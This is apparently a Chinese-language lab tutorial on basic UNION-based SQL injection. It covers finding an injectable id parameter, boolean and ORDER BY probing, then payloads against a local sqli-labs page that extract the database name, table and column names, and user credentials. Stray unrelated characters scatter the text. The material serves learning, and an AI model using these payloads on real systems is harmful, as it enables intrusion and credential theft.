最基礎的sql注入查詢語句鸦做,union select 聯(lián)合查詢注入
1、找頁面可能存在的注入點的位置
????????????看頁面url地址是否有后臺傳參動作? --->? 潭流?
????????????構造傳參值? ? ? ? ? ? -->? ?id=xx
????????????驗證輸入自己構造的傳參值后吗伤,后臺是否能夠解析
2、確認頁面是否有回顯值
url/index.php?id=-50
????????and 1=1 判斷頁面是否正常
????????and 1=2 判斷頁面是否部份報錯
3弓乙、添加語句order by
目的:確定當前頁面的回顯位數(shù)。
url/index.php?id=-50 order by (值)
找到報錯和不報錯的臨界點钧惧,取不報錯的最大值
4暇韧、開始進行聯(lián)合查詢
url/index.php?id=-50 union select 1,2,3,4,5 --+
(匹配order by 驗證出來的值)
????確定當前頁面的顯示位為5,隨后通過查看頁面的回顯值來確定具體哪位是可控的回顯點浓瞪。
5懈玻、可以判斷當前url地址為注入點
????在占位符位置上,構造我們想要的攻擊代碼乾颁,想要查看的結果會出現(xiàn)在占位符的位置上涂乌。
????? ? database()? 查看當前頁面使用的數(shù)據(jù)庫
????????user() 查看當前登錄數(shù)據(jù)庫的用戶
????????@@version 查看當前數(shù)據(jù)庫版本
????????@@basedir 查看路徑
6艺栈、爆庫
http://localhost/sql/Less-1/index.php?id=-1' UNION SELECT 1,database(),3--+
7、爆表以及列(mysql版本需在5.5以下)
http://localhost/sql/Less-1/index.php?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
http://localhost/sql/Less-1/index.php?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+
8湾盒、爆數(shù)據(jù)
http://localhost/sql/Less-1/index.php?id=-1' union select 1,2,(select group_concat(concat(username,'%20',password)) from users) --+